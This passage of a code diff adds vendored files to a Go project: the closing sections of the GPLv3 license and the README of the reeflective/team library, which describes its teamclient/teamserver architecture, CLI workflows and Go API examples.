+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+ .
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/vendor/github.com/reeflective/team/README.md b/vendor/github.com/reeflective/team/README.md
new file mode 100644
index 0000000000..c3c5fcb160
--- /dev/null
+++ b/vendor/github.com/reeflective/team/README.md
@@ -0,0 +1,351 @@
+
+
+
Team
+
+
Transform any Go program into a client of itself, remotely or locally.
+
Use, manage teamservers and clients with code, with their CLI, or both.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+-----
+## Summary
+
+The client-server paradigm is an ubiquitous concept in computer science. Equally large and common is
+the problem of building software that _collaborates_ easily with other peer programs. Although
+writing collaborative software seems to be the daily task of many engineers around the world,
+succeedingly and easily doing so in big programs as well as in smaller ones is not more easily done
+than said. Difficulty still increases -and keeping in mind that humans use software and not the
+inverse- when programs must enhance the capacity of humans to collaborate while not restricting the
+number of ways they can do so, for small tasks as well as for complex ones.
+
+The `reeflective/team` library provides a small toolset for arbitrary programs (and especially those
+controlled in more or less interactive ways) to collaborate together by acting as clients and
+servers of each others, as part of a team. Teams being made of players (humans _and_ their tools),
+the library focuses on offering a toolset for "human teaming": that is, treating software tools that
+are either _teamclients_ or _teamservers_ of others, within a defined -generally restricted- team of
+users, which shall generally be strictly and securely authenticated.
+
+The project originates from the refactoring of a security-oriented tool that used this approach to
+clearly segregate client and server binary code (the former's not needing most of the latter's).
+Besides, the large exposure of the said-tool to the CLI prompted the author of the
+`reeflective/team` library to rethink how the notion of "collaborative programs" could be approached
+and explored from different viewpoints: distinguishing between the tools' developers, and their
+users. After having to reuse this core code for other projects, the idea appeared to extract the
+relevant parts and to restructure and repackage them behind coherent interfaces (API and CLI).
+
+
+-----
+## Components & Terms
+
+The result consists in 2 Go packages (`client` and `server`) for programs needing to act as:
+- A **Team client**: a program, or one of its components, that needs to rely on a "remote" program peer
+ to serve some functionality that is available to a team of users' tools. The program acting as a
+ _teamclient_ may do so for things as simple as sending a message to the team, or as complicated as a
+ compiler backend with which multiple client programs can send data to process and build.
+- A **Team server**: The remote, server-side counterpart of the software teamclient. Again, the
+ teamserver can be doing anything, from simply notifying users' teamclient connections to all the team
+ all the way to handling very complex and resource-hungry tasks that can only be ran on a server host.
+
+Throughout this library and its documentation, various words are repeatedly employed:
+- _teamclient_ refers to either the client-specific toolset provided by this library
+ (`team/client.Client` core type) or the software making use of this teamclient code.
+- _teamserver_ refers to either the server-specific toolset provided to make a program serve its
+ functionality remotely, or to the tools embedding this code in order to do so.
+- _team tool/s_ might be used to refer to programs using either or all of the library components at
+ large.
+
+-----
+## Principles, Constraints & Features
+
+The library rests on several principles, constraints and ideas to fulfill its intended purpose:
+- The library's sole aim is to **make most programs able to collaborate together** under the
+ paradigm of team clients and team servers, and to do so while ensuring performance, coherence,
+ ease of use and security of all processes and workflows involved. This, under the _separate
+ viewpoints_ of tool development, enhancement and usage.
+- Ensure a **working-by-default toolset**, assuming that the time spent on any tool's configuration
+ is inversely proportional to its usage. Emphasis on this aspect should apply equally well to team
+ tools' users and developers.
+- Ensure the **full, secure and reliable authentication of all team clients and servers'
+ interactions**, by using certificate-based communication encryption and user authentication, _aka_
+ "zero-trust" model. Related and equally important, ensure the various team toolset interfaces
+ provide for easy and secure usage of their host tools.
+- **Accomodate for the needs of developers to use more specific components**, at times or at points,
+ while not hampering on the working-by-default aspects of the team client/server toolset. Examples
+ include replacing parts or all of the transport, RPC, loggers, database and filesystem
+ backends.
+- To that effect, the library offers **different interfaces to its functionality**: an API (Go code)
+ provides developers a working-by-default, simple and powerful way to instruct their software how
+ to collaborate with peers, and a CLI, for users to operate their team tools, manage their related
+ team configurations with ease, with a featured command-line tree to embed anywhere.
+- Ensure that team client/server functionality can be **easily integrated in automated workflows**:
+ this is done by offering clear code/execution paths and behaviors, for both users and developers,
+ and by providing commands and functions to ease deployment of said tools.
+
+-----
+## CLI (Users)
+
+The following extracts assume a program binary named `teamserver`, which is simply the root command
+of the server-side team code. In this case therefore, the binary program only purpose its to be a
+teamserver, with no application-specific logic, (and is therefore quite useless on its own):
+```
+$ teamserver
+Manage the application server-side teamserver and users
+
+Usage:
+ teamserver [command]
+
+teamserver control
+ client Client-only teamserver commands (import configs, show users, etc)
+ close Close a listener and remove it from persistent ones if it's one
+ daemon Start the teamserver in daemon mode (blocking)
+ listen Start a teamserver listener (non-blocking)
+ status Show the status of the teamserver (listeners, configurations, health...)
+ systemd Print a systemd unit file for the application teamserver, with options
+
+user management
+ delete Remove a user from the teamserver, and revoke all its current tokens
+ export Export a Certificate Authority file containing the teamserver users
+ import Import a certificate Authority file containing teamserver users
+ user Create a user for this teamserver and generate its client configuration file
+```
+
+In this example, this program comes with a client-only binary counterpart, `teamclient`. The latter
+does not include any team server-specific code, and has therefore a much smaller command set:
+```
+$ teamclient
+Client-only teamserver commands (import configs, show users, etc)
+
+Usage:
+ teamclient [command]
+
+Available Commands:
+ import Import a teamserver client configuration file for teamserver
+ users Display a table of teamserver users and their status
+ version Print teamserver client version
+```
+
+With these example binaries at hand, below are some examples of workflows.
+Starting with the `teamserver` binary (which might be under access/control of a team admin):
+``` bash
+# 1 - Generate a user for a local teamserver, and import users from a file.
+teamserver user --name Michael --host localhost
+teamserver import ~/.other_app/teamserver/certs/other_app_user-ca-cert.teamserver.pem
+
+# 2 - Start some teamserver listeners, then start the teamserver daemon (blocking).
+# Use the application-defined default port in the first call, and instruct the server
+# to start the listeners automatically when used in daemon mode with --persistent.
+teamserver listen --host localhost --persistent
+teamserver listen --host 172.10.0.10 --port 32333 --persistent
+teamserver status # Prints the saved listeners, configured loggers, databases, etc.
+teamserver daemon --host localhost --port 31337 # Blocking: serves all persistent listeners and a main one at localhost:31337
+
+# 3 - Export and enable a systemd service configuration for the teamserver.
+teamserver systemd # Use default host, port and listener stacks.
+teamserver systemd --host localhost --binpath /path/to/teamserver # Specify binary path.
+teamserver systemd --user --save ~/teamserver.service # Print to file instead of stdout.
+
+# 4 - Import the "remote" administrator configuration for (1), and use it.
+teamserver client import ~/Michael_localhost.teamclient.cfg
+teamserver client version # Print the client and the server version information.
+teamserver client users # Print all users registered to the teamserver and their status.
+
+# 5 - Quality of life
+teamserver _carapace # Source detailed the completion engine for the teamserver.
+```
+
+Continuing the `teamclient` binary (which is available to all users' tool in the team):
+```bash
+# Example 1 - Import a remote teamserver configuration file given by a team administrator.
+teamclient import ~/Michael_localhost.teamclient.cfg
+
+# Example 2 - Query the server for its information.
+teamclient users
+teamclient version
+```
+
+-----
+## API (Developers)
+
+The teamclient and teamserver APIs are designed with several things in mind as well:
+- While users are free to use their tools teamclients/servers within the bounds of the provided
+ command-line interface tree (`teamserver` and `teamclient` commands), the developers using the
+ library have access to a slightly larger API, especially with regards to "selection strategies"
+ (grossly, the way tools' teamclients choose their remote teamservers before connecting to them).
+ This is equivalent of saying that tools developers should have identified 70% of all different
+ scenarios/valid operation mode for their tools, and program their teamclients accounting for this,
+ but let the users decide of the remaining 30% when using the tools teamclient/server CLI commands.
+- The library makes it easy to embed a teamclient or a teamserver in existing codebases, or easy to
+ include it in the ones who will need it in the future. In any case, importing and using a default
+ teamclient/teamserver should fit into a couple of function calls at most.
+- To provide a documented code base, with a concise naming and programming model which allows equally
+ well to use default teamclient backends or to partially/fully reimplement different layers.
+
+Below is the simplest, shortest example of the above's `teamserver` binary `main()` function:
+```go
+// Generate a teamserver, without any specific transport/RPC backend.
+// Such backends are only needed when the teamserver serves remote clients.
+teamserver, err := server.New("teamserver")
+
+// Generate a tree of server-side commands: this tree also has client-only
+// commands as a subcommand "client" of the "teamserver" command root here.
+serverCmds := commands.Generate(teamserver, teamserver.Self())
+
+// Run the teamserver CLI.
+serverCmds.Execute()
+```
+
+Another slightly more complex example, involving a gRPC transport/RPC backend:
+```go
+// The examples directory has a default teamserver listener backend.
+gTeamserver := grpc.NewListener()
+
+// Create a new teamserver, register the gRPC backend with it.
+// All gRPC teamclients will be able to connect to our teamserver.
+teamserver, err := server.New("teamserver", server.WithListener(gTeamserver))
+
+// Since our teamserver offers its functionality through a gRPC layer,
+// our teamclients must have the corresponding client-side RPC client backend.
+// Create an in-memory gRPC teamclient backend for the server to serve itself.
+gTeamclient := grpc.NewClientFrom(gTeamserver)
+
+// Create a new teamclient, registering the gRPC backend to it.
+teamclient := teamserver.Self(client.WithDialer(gTeamclient))
+
+// Generate the commands for the teamserver.
+serverCmds := commands.Generate(teamserver, teamclient)
+
+// Run any of the commands.
+serverCmds.Execute()
+```
+
+Some additional and preliminary/example notes about the codebase:
+- All errors returned by the API are always logged before return (with configured log behavior).
+- Interactions with the filesystem restrained until they need to happen.
+- The default database is a pure Go file-based sqlite db, which can be configured to run in memory.
+- Unless absolutely needed or specified otherwise, return all critical errors instead of log
+ fatal/panicking (exception made of the certificate infrastructure which absolutely needs to work
+ for security reasons).
+- Exception made of the `teamserver daemon` command related `server.ServeDaemon` function, all API
+ functions and interface methods are non-blocking. Mentions of this are found throughout the
+ code documentation when needed.
+- Loggers offered by the teamclient/server cores are never nil, and will log to both stdout (above
+ warning level) and to default files (above info level) if no custom logger is passed to them.
+ If such a custom logger is given, team clients/servers won't log to stdout or their default files.
+
+Please see the [example](https://github.com/reeflective/team/tree/main/example) directory for all client/server entrypoint examples.
+
+-----
+## Documentation
+
+- Go code documentation is available at the [Godoc website](https://pkg.go.dev/github.com/reeflective/team).
+- Client and server documentation can be found in the [directories section](https://pkg.go.dev/github.com/reeflective/team#section-directories) of the Go documentation.
+- The `example/` subdirectories also include documentation for their own code, and should provide
+a good introduction to this library usage.
+
+-----
+## Differences with the Hashicorp Go plugin system
+
+At first glance, different and not much related to our current topic is the equally large problem of
+dynamic code loading and execution for arbitrary programs. In the spectrum of major programming
+languages, various approaches have been taken to tackle the dynamic linking, loading and execution
+problem, with interpreted languages offering the most common solutioning approach to this.
+
+The Go language (and many other compiled languages that do not encourage dynamic linking for that
+matter) has to deal with the problem through other means, the first of which simply being the
+adoption of different architectural designs in the first place (eg. "microservices"). Another path
+has been the "plugin system" for emulating the dynamic workflows of interpreted languages, of which
+the most widely used attempt being the [Hashicorp plugin
+system](https://github.com/hashicorp/go-plugin), which entirely rests on an (g)RPC backend.
+
+Consequently, differences and similarities can be resumed as follows:
+- The **Hashicorp plugins only support "remote" plugins** in that each plugin must be a different
+ binary. Although those plugins seem to be executed "in-memory", they are not. On the contrary,
